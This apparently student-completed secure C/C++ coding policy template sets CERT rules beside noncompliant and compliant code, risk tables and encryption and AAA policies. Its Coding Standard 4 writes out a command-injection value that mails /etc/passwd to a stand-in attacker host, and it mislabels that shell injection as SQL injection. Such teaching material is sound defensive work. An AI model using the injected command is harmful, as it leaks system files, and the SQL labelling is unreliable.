**Green Pace Developer: Security Policy Guide Template**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Input from untrusted sources of data such as command line arguments and environmental variables must be validated in an effort to eliminate most software vulnerabilities. |
| 1. Heed Compiler Warnings | Code should be compiled with the highest warning level that is currently available on your compiler. Warnings should also be eliminated by modifying code. Lastly, dynamic and static analysis tools should be used to find and destroy otherwise missed security flaws. |
| 1. Architect and Design for Security Policies | Software architecture should be designed and created with an approach to both implement and enforce security policies. Such policies may include the principle of least privilege, default deny, and other security principles on this list. |
| 1. Keep It Simple | Designs should be small and simple in an effort to minimize errors that could arise in the process of creating and using a more complex design. Keeping designs simple also requires less effort to achieve the necessary level of assurance/security. |
| 1. Default Deny | Access decisions are based on permission, not exclusion; this means that access is denied by default and the protection scheme is created to identify when and how access is permitted. |
| 1. Adhere to the Principle of Least Privilege | Each process should only incorporate the least set of privileges necessary to get the job done. If a job requires elevated privileges, permission must be accessed only for the time required and no more. |
| 1. Sanitize Data Sent to Other Systems | Data passed to complex subsystems including relational databases, command shells, etc., should be sanitized. Attackers can take advantage of unused functionality of these subsystems through the use of injection attacks such as SQL and command. The calling process understands the context in which a call is made and is therefore responsible for sanitizing the data before the subsystem is invoked. |
| 1. Practice Defense in Depth | If one defensive layer is inadequate, there must by other layers of defense to prevent more security issues/vulnerabilities or lessen the effect of the exploit that succeeded. |
| 1. Use Effective Quality Assurance Techniques | Quality assurance techniques such as penetration testing, source code audits, and fuzz testing are good examples to combat vulnerabilities by identifying and eliminating them. All of these techniques should be included in an effective program. |
| 1. Adopt a Secure Coding Standard | Based on the development language and platform chosen, an appropriate secure coding standard should be either developed or applied. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | DCL50-CPP | Do not define a C-style variadic function |

| **Noncompliant Code** |
| --- |
| This function reads arguments until 0 is discovered. Calling the function without passing 0 as an argument after the first two arguments, or passing any type other than int, results in undefined behavior. |
| #include <cstdarg>    **int** add(**int** first, **int** second, ...) {  **int** r = first + second;  **va\_list** va;  **va\_start**(va, second);  **while** (**int** v = **va\_arg**(va, **int**)) {      r += v;    }  **va\_end**(va);  **return** r;  } |

| **Compliant Code** |
| --- |
| A variadic function using a function parameter pack to implement add() which allows for identical call site behavior. This does not result in undefined behavior if the parameters are not terminated with 0 or if any of the values passed are not integers (however, the code would be ill-formed). |
| #include <type\_traits>    **template** <**typename** Arg, **typename** std::enable\_if<std::is\_integral<Arg>::value>::type \* = nullptr>  **int** add(Arg f, Arg s) { **return** f + s; }    **template** <**typename** Arg, **typename**... Ts, **typename** std::enable\_if<std::is\_integral<Arg>::value>::type \* = nullptr>  **int** add(Arg f, Ts... rest) {  **return** f + add(rest...);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**   1. Validate Input Data- Runtime calls to C-style variadic functions that pass inappropriate arguments such as invalid input could yield 2. undefined behavior that may be exploited to run arbitrary code. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | Medium | P12 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 22.10 | function-ellipsis | Fully checked |
| Axivion Bauhaus Suite | 7.2.0 | CertC++-DCL50 |  |
| Clang | 3.9 | cert-dcl50-cpp | Checked by clang-tidy |
| RuleChecker | 22.10 | funtion-ellipsis | Fully checked |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | MSC52-CPP | Value-returning functions must return a value from all exit paths |

| **Noncompliant Code** |
| --- |
| The programmer did not return the input value for positive input indicating that not all code paths return a value. |
| **int** absolute\_value(**int** a) {  **if** (a < 0) {  **return** -a;    }  } |

| **Compliant Code** |
| --- |
| All code paths return a value. |
| **int** absolute\_value(**int** a) {  **if** (a < 0) {  **return** -a;    }  **return** a;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code.  (2) Heed Compiler Warnings- If a warning should appear to let the developer know that not all code paths can return a value, the developer should take note and modify the code. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | Medium | P8 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 22.10 | return-implicit | Fully checked |
| Axivion Bauhaus Suite | 7.2.0 | CertC++-MSC52 |  |
| RuleChecker | 22.10 | return-implicit | Fully checked |
| LDRA tool suite | 9.7.1 | 2 D, 36 S | Fully implemented |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STR51-CPP | Do not attempt to create a std::string from a null pointer |

| **Noncompliant Code** |
| --- |
| The std::string object is created from the results of a call to std::getenv() which returns a null pointer on failure; this can cause undefined behavior if the environment variable does not exist. |
| #include <cstdlib>  #include <string>    **void** f() {    std::string tmp(std::**getenv**("TMP"));  **if** (!tmp.empty()) {      // ...    }  } |

| **Compliant Code** |
| --- |
| The results from the call to std::getenv() are checked for null before the std::string object is created. |
| #include <cstdlib>  #include <string>    **void** f() {  **const** **char** \*tmpPtrVal = std::**getenv**("TMP");    std::string tmp(tmpPtrVal ? tmpPtrVal : "");  **if** (!tmp.empty()) {      // ...    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (1) Validate Input Data- In the compliant code example, the results from the call to std::getenv() are checked for null, validating the function call before the string object is created. Otherwise, exploitable undefined behavior could have resulted.  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code.  (2) Heed Compiler Warnings- If a warning should appear to let the developer know that a null pointer has been returned, the developer should take note and modify the code. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 22.10 | assert\_failure |  |
| CodeSonar | 7.1p0 | LANG.MEM.NPD | Null Pointer Dereference |
| Parasoft C/C++test | 2022.1 | CERT\_CPP-STR51-a | Avoid null pointer dereferencing |
| Polyspace Bug Finder | R2022b | CERT C++: STR51-CPP | Checks for string operations on null pointer (rule fully covered) |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | STR02-C | Sanitize data passed to complex subsystems |

| **Noncompliant Code** |
| --- |
| The example is of an application that inputs an email address into a buffer and uses a string as an argument in a system() call. The risk occurs if the following string is entered as an email address:  bogus@addr.com; cat /etc/passwd  | mail some@badguy.net |
| **sprintf**(buffer, "/bin/mail %s < /tmp/email", addr);  **system**(buffer); |

| **Compliant Code** |
| --- |
| All valid data is accepted while dangerous data is sanitized or rejected. This is a whitelisting approach that defines a list of acceptable characters and removes unacceptable characters. |
| **static** **char** ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  **char** user\_data[] = "Bad char 1:} Bad char 2:{";  **char** \*cp = user\_data; /\* cursor into string \*/  **const** **char** \*end = user\_data + **strlen**( user\_data);  **for** (cp += **strspn**(cp, ok\_chars); cp != end; cp += **strspn**(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (1) Validate Input Data- In the compliant example, input data is validated to be either accepted or rejected based on acceptable character criteria. This is an excellent example of how to avoid SQL injection.  (7) Sanitize Data Sent to Other Systems- Because the developer is working with user data in a database, it is crucial to ensure that data sent to such a subsystem, and other complex subsystems, are sanitized. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 22.04 |  | Supported by stubbing/taint analysis |
| Coverity | 6.5 | TAINTED\_STRING | Fully implemented |
| CodeSonar | 7.1p0 | IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC | Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation |
| Parasoft C/C++test | 2022.1 | CERT\_C-STR02-a CERT\_C-STR02-b CERT\_C-STR02-c | Protect against command injection Protect against file name injection Protect against SQL injection |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | MEM53-CPP | Explicitly construct and destruct objects when manually managing object lifetime |

| **Noncompliant Code** |
| --- |
| A class with nontrivial initialization because of the presence of a user-provided constructor is created with std::malloc(). The constructor is never called which results in undefined behavior when the class is accessed by s->f(). |
| #include <cstdlib>    **struct** S {    S();    **void** f();  };    **void** g() {    S \*s = **static\_cast**<S \*>(std::**malloc**(**sizeof**(S)));      s->f();      std::**free**(s);  } |

| **Compliant Code** |
| --- |
| The constructor and destructor are explicitly called and the underlying storage is a separate variable from the live object. |
| #include <cstdlib>  #include <new>    **struct** S {    S();    **void** f();  };    **void** g() {  **void** \*ptr = std::**malloc**(**sizeof**(S));    S \*s = **new** (ptr) S;      s->f();      s->~S();    std::**free**(ptr);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code where the destructor was not explicitly called.  (2) Heed Compiler Warnings- If a warning should appear to let the developer know that an object has not been destroyed, the developer should take note and modify the code. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Helix QAC | 2022.3 | C++4761,  C++4762,  C++4766,  C++4767 |  |
| Parasoft C/C++test | 2022.1 | CERT\_CPP-MEM53-a | Do not invoke malloc/realloc for objects having constructors |
| Polyspace Bug Finder | R2022b | CERT C++: MEM53-CPP | Checks for objects allocated but not initialized (rule fully covered). |
| PVS-Studio | 7.22 | V630, V749 |  |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | PRE31-C | Avoid side effects in arguments to unsafe macros |

| **Noncompliant Code** |
| --- |
| The assert() macro is convenient for incorporating diagnostic tests. However, the assert() macro here contains an expression (index++) which has a side effect. |
| #include <assert.h>  #include <stddef.h>    **void** process(**size\_t** index) {  **assert**(index++ > 0); /\* Side effect \*/    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This solution avoids the possibility of side effects occurring within assertions because the expression that contains the side effect is moved outside of the assert(macro). |
| #include <assert.h>  #include <stddef.h>    **void** process(**size\_t** index) {  **assert**(index > 0); /\* No side effect \*/    ++index;    /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code where the expression containing the side effect was programmed into the assertion.  (3) Architect and Design for Security Policies- It is suggested that creating unsafe function-like macros should be avoided. If this is written into a security policy, this risk can be better avoided. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Low | P3 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Axivion Bauhaus Suite | 7.2.0 | CertC-PRE31 | Fully implemented |
| ECLAIR | 1.2 | CC2.EXP31  CC2.PRE31 | Fully implemented |
| LDRA tool suite | 9.7.1 | 9 S, 562 S, 572 S, 35 D, 1 Q | Fully implemented |
| Parasoft C/C++test | 2022.1 | CERT\_CPRE31-b  CERT\_CPRE31-c  CERT\_CPRE31-d | Assertions should not contain assignments, increment, or decrement operators Assertions should not contain function calls nor function-like macro calls Avoid side effects in arguments to unsafe macros |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | ERR56-CPP | Guarantee exception safety |

| **Noncompliant Code** |
| --- |
| There is a flawed copy assignment operator. If the new expression throws an exception, the function will have modified the state of each member variable violating the implicit invariants of the class. An object in an indeterminate state and if there is an operation on it (including destruction), it will result in undefined behavior. |
| #include <cstring>    **class** IntArray {  **int** \*array;    std::**size\_t** nElems;  **public**:    // ...      ~IntArray() {  **delete**[] array;    }        IntArray(**const** IntArray& that); // nontrivial copy constructor    IntArray& operator=(**const** IntArray &rhs) {  **if** (**this** != &rhs) {  **delete**[] array;        array = nullptr;        nElems = rhs.nElems;  **if** (nElems) {          array = **new** **int**[nElems];          std::**memcpy**(array, rhs.array, nElems \* **sizeof**(\*array));        }      }  **return** \***this**;    }      // ...  }; |

| **Compliant Code** |
| --- |
| The copy assignment operator provides a strong exception safety guarantee. The function allocates new storage for the copy before changing the object’s state. If the allocation succeeds, only then does the function change the state of the object. |
| #include <cstring>    **class** IntArray {  **int** \*array;    std::**size\_t** nElems;  **public**:    // ...      ~IntArray() {  **delete**[] array;    }      IntArray(**const** IntArray& that); // nontrivial copy constructor      IntArray& operator=(**const** IntArray &rhs) {  **int** \*tmp = nullptr;  **if** (rhs.nElems) {        tmp = **new** **int**[rhs.nElems];        std::**memcpy**(tmp, rhs.array, rhs.nElems \* **sizeof**(\*array));      }  **delete**[] array;      array = tmp;      nElems = rhs.nElems;  **return** \***this**;    }      // ...  }; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (8) Practice Defense in Depth- Errors should not only be reported using exceptions as one layer of defense, but another layer that would be beneficial is for the operation to terminate if an exception is thrown; this further strengthens exception safety.  (2) Heed Compiler Warnings- Thrown exceptions should not leave a program in an indeterminate state; all exceptions must be handled. If a warning appears that suggests this could occur, it should be heeded, and code should be modified. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| CodeSonar | 7.1p0 | ALLOC.LEAK | Leak |
| Parasoft C/C++test | 2022.1 | CERT\_CPP-ERR56-a CERT\_CPP-ERR56-b | Always catch exceptions Do not leave 'catch' blocks empty |
| Polyspace Bug Finder | R2022b | CERT C++: ERR56-CPP | Checks for exceptions violating class invariant (rule fully covered). |
| Helix QAC | 2022.3 | C++4075,  C++4076 |  |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | ERR55-CPP | Honor exception specifications |

| **Noncompliant Code** |
| --- |
| This function is declared as nonthrowing, but it is possible that std::vector::resize() throws an exception if the requested memory cannot be allocated. |
| #include <cstddef>  #include <vector>    **void** f(std::vector<**int**> &v, **size\_t** s) noexcept(**true**) {    v.resize(s); // May throw  } |

| **Compliant Code** |
| --- |
| The function’s noexcept() specification is removed, allowing all exceptions. |
| #include <cstddef>  #include <vector>    **void** f(std::vector<**int**> &v, **size\_t** s) {    v.resize(s); // May throw, but that is okay  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code where noexcept(true) was unneeded.  (4) Keep it Simple- Code that is unnecessary such as the noexcept(true) should not be included. The code is compliant without it, while adding this unnecessarily made it noncompliant. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Polyspace Bug Finder | 2022.1 | CERT C++: ERR55-CPP | Checks for noexcept functions exiting with exception (rule fully covered) |
| Axivion Bauhaus Suite | 7.2.0 | CertC++-ERR55 |  |
| Helix QAC | 2022.3 | C++4035, C++4036, C++4632 |  |
| Parasoft C/C++Test | 2022.1 | CERT\_CPP-ERR55-a | Where a function's declaration includes an exception-specification, the function shall only be capable of throwing exceptions of the indicated type(s) |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | MEM52-CPP | Detect and handle memory allocation errors |

| **Noncompliant Code** |
| --- |
| An array of int is created, but the results of the allocation are not checked. The function is marked as noexcept, but an exception can be thrown by ::operator new[](std::size\_t) if the allocation fails; this can lead to abnormal program termination. |
| #include <cstring>    **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** **int**[size];    std::**memcpy**(copy, array, size \* **sizeof**(\*copy));    // ...  **delete** [] copy;  } |

| **Compliant Code** |
| --- |
| Using std::nothrow, the new operator returns a null pointer or pointer to the allocated space. This solution handles the error condition correctly when the returned pointer is null. |
| #include <cstring>  #include <new>    **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** (std::**nothrow**) **int**[size];  **if** (!copy) {      // Handle error  **return**;    }    std::**memcpy**(copy, array, size \* **sizeof**(\*copy));    // ...  **delete** [] copy;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code where the results of the allocation were not checked.  (1) Validate Input Data- Testing a returned pointer to ensure it is not null before referencing the pointer could prevent an issue from occurring. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Coverity | 7.5 | CHECKED\_RETURN | Finds inconsistencies in how function call return values are handled |
| Helix QAC | 2022.3 | C++3225, C++3226, C++3227, C++3228,  C++3229, C++4632 |  |
| Parasoft C/C++test | 2022.1 | CERT\_CPP-MEM52-a  CERT\_CPP-MEM52-b | Check the return value of new Do not allocate resources in function argument list because the order of evaluation of a function's parameters is undefined |
| Polyspace Bug Finder | R2022b | CERT C++: MEM52-CPP | Checks for unprotected dynamic memory allocation (rule partially covered) |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STR52-CPP | Use valid references, pointers, and iterators to reference elements of a basic\_string |

| **Noncompliant Code** |
| --- |
| Input is copied into a std::string and semicolon characters are replaced with spaces. The iterator loc is invalidated after the first call to insert() and subsequent calls are undefined. |
| #include <string>    **void** f(**const** std::string &input) {    std::string email;      // Copy input into email converting ";" to " "    std::string::iterator loc = email.begin();  **for** (auto i = input.begin(), e = input.end(); i != e; ++i, ++loc) {      email.insert(loc, \*i != ';' ? \*i : ' ');    }  } |

| **Compliant Code** |
| --- |
| (std::string::insert())  The value of the iterator loc is updated after each call to insert() and the invalidated iterator is never accessed. The updated iterator is incremented at the end of the loop. |
| #include <string>    **void** f(**const** std::string &input) {    std::string email;      // Copy input into email converting ";" to " "    std::string::iterator loc = email.begin();  **for** (auto i = input.begin(), e = input.end(); i != e; ++i, ++loc) {      loc = email.insert(loc, \*i != ';' ? \*i : ' ');    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  (9) Use Effective Quality Assurance Techniques- Incorporating good quality assurance techniques such as source code audits can help developers find issues such as the one presented in the noncompliant code where the iterator was not valid.  (4) Keep it Simple- Using a generic algorithm such as std::replace() could have also been a compliant solution. Simplicity should be preferred over creating something new and complex.  (1) Validate Input Data- To do this, it is important to ensure the use of valid pointers, iterators, and references as this standard states. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| CodeSonar | 7.1p0 | ALLOC.UAF | Use After Free |
| Helix QAC | 2022.3 | C++4746, C++4747, C++4748, C++4749 |  |
| Parasoft C/C++test | 2022.1 | CERT\_CPP-STR52-a | Use valid references, pointers, and iterators to reference elements of a basic\_string |
| Polyspace Bug Finder | R2022b | CERT C++: STR52-CPP | Checks for use of invalid string iterator (rule partially covered). |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Automation enforcement begins as early in the pre-production process as the “Assess and plan” and “Design” stages. These stages could be important for understanding the standards presented in this policy, updating them if needed, and determining what tools can be used to make the automation process relating to these security threats more successful. During the “Build” stage, automation should already be implemented within the development workflow even before the “Verify and test” stage to ensure that code is secure as it is being built. The “Verify and test” stage should be a verification that our code is secure, not the discovery of new threats right before it is put into production. More security testing such as penetration tests will occur as production begins in the “Transition and healthy check” stage.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| DCL50-CPP | High | Probable | Medium | High | 1 |
| STR02-C | High | Likely | Medium | High | 1 |
| STR51-CPP | High | Likely | Medium | High | 1 |
| STR52-CPP | High | Probable | High | Medium | 2 |
| MEM52-CPP | High | Likely | Medium | High | 1 |
| MEM53-CPP | High | Likely | Medium | High | 1 |
| ERR55-CPP | Low | Likely | Low | Medium | 2 |
| ERR56-CPP | High | Likely | High | Medium | 2 |
| MSC52-CPP | Medium | Probable | Medium | Medium | 2 |
| PRE31-C | Low | Unlikely | Low | Low | 3 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | Encryption in rest is the encryption of data that is inactive as it is not moving between networks or devices such as archived data in a database. The policy for encryption of data in rest includes incorporating full disk encryption to ensure hackers cannot access data on a lost drive and implementing data loss prevention solutions (DLPs). With DLPs, we can search and find sensitive data and block access to that data from certain users if a breach occurs. The last three production stages are emphasized with this policy. |
| Encryption at flight | Encryption at flight is the encryption of data that is moving from one location to another such as when it is transmitted over a network. The policy for encryption of data at flight includes the incorporation of firewalls and authentication, implementing automation to block malicious files and encrypt data before it is in transit, using TLS for https on all connections, and using certificates signed by a Certificate Authority so that our public key is verified by a trusted source. DLPs can also be used to scan emails and attachments to identify leaks. The stages emphasized within this policy include the entirety of pre-production for proper planning and implementation of automation, and the first two stages of production. |
| Encryption in use | Encryption in use is the encryption of data that is being accessed and processed by users. Protection of this data needs to start in pre-production and especially enforced during the “Build” and “Verify and test” stages because we cannot control what a hacker does with our data once they have stolen it. Authorization and authentication are extremely important so that only authorized individuals have permission to access data that is strictly necessary for them to complete their jobs. This begins in the early stages of per-production to map this out and throughout production to ensure its effectiveness. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication refers to ensuring a user is who they say they are; only users who enter valid credentials during user login should have access to our system. This is accomplished when the user’s authentication credentials successfully match credentials stored in our database. The addition of new users, deletion of current users, and monitoring of all users is the responsibility of system administrators. Authentication must be prioritized during all stages of pre-production and is vital to be monitored during production. |
| Authorization | Once a user is authenticated, they shall only be allowed the activities, services, and resources that they are permitted/authorized to use based on their user level of access. For example, administrators may have more privileged access, but only to what is necessary to complete their jobs. Authorization must also be prioritized during all stages of pre-production and monitored during production. |
| Accounting | Accounting is the measurement of resources that users consume during their network access to our application. Administrators need to see statistics for logging sessions, session duration, files accessed by users, and data both sent and received. In addition, administrators need to see who logged in, the actions they performed, and what time they were performed. Accounting should take place throughout the entirety of the pre-production and production cycle. This is the only way to ensure a proper response to any security breach and the stabilization of our system if an attack were to occur. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins\*
* Changes to the database\*
* Addition of new users\*
* User level of access\*
* Files accessed by users\*

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

